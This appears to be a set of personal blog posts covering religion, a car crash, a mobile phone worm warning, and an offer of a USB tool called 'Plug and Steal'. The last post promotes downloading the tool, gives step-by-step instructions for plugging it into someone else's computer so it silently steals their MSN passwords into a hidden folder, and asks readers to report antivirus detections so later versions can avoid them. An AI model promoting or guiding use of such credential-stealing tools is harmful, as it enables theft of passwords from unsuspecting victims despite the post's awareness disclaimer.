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I've been thinking lately about religion, it's something I don't understand and unfortunately(it really is unfortunate at some times) "God" gave me a brain to analyse, think and come to my own conclusions, not the ones written in "holy" books which have been edited/rewritten so many times by powerful people throughout history, let's not forget that not so long ago tickets to heaven were being sold(i guess they ran out of space nowadays :P )...

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I think it's clear enough that the beamer lost the fight =0P

Score:
BMW - 0
House - 1

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After fixing 3 phones in 1 day(no,i dont repair cellphones!), I've realised that there is a big threat to mobile phones, a phone worm is spreading very fast! Alot of people are infected without knowing, the consequences are devastating, this virus sends mms to people in your phone book, the mms would be the virus, it also spreads by sending itself to other bluetooth devices when you have the bluetooth turned on. Where I live, each mms costs around 1$, therefore 100mms/day would cost 100$/day, you do the math if this is running for months without your knowledge!
Click on read more to find out if you're infected, a description and how i fix it.
Spread this news to raise awareness because that's the only way this can be stopped...

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EDITED: Version 2.0 is out, click here to get it!

I've been extremely busy lately, working on a business software solution (almost done) so yesterday night i decided to take a break and code something fun, I came up with a nice idea, I call it "Plug and Steal" all you have to do is extract the zip file in the root of your usb memory stick. Now everytime you plug your memory stick in someones computer and open it, a software will run in the background and steal the msn passwords available on that computer! The passwords will be stored in the usb device, in a hidden folder called "www.DngloZ.com", give it a shot! Click to download (edited:redirects to new version)
PS:I take no responsibility in what you do, my main purpose of writing this was to show people the dangers and security risks involved while using usb sticks...


Instructions to get the Passwords
1) Download the zip file
2) Extract it in your usb drive, in the root (not in a folder in your usb)
3) Safely remove your usb
4) Connect the usb in someones computer
5) Open the usb folder by double clicking on the usbs icon from the My Computer
Congrats, now you have the passwords!

To view the passwords file,
1) Connect the usb DONT OPEN IT!
2) Right click on the usb devices icon from My Computer
3) Choose open (no other method will work, it will overwrite the password file by your computers passwords)
4) From the view settings, enable View hidden files
5) Open the hidden folder called "www.DngloZ.com" in the usb
6) Open the text file "www.DngloZ.com.txt" in that folder

Voila, you got the passwords...

I haven't tried it on a pc with an antivirus installed (i dont use antiviruses, i'm mostly on linux) so please let me know if an anti virus reports it as a virus so i can take care of it for further version ;)

Enjoy!

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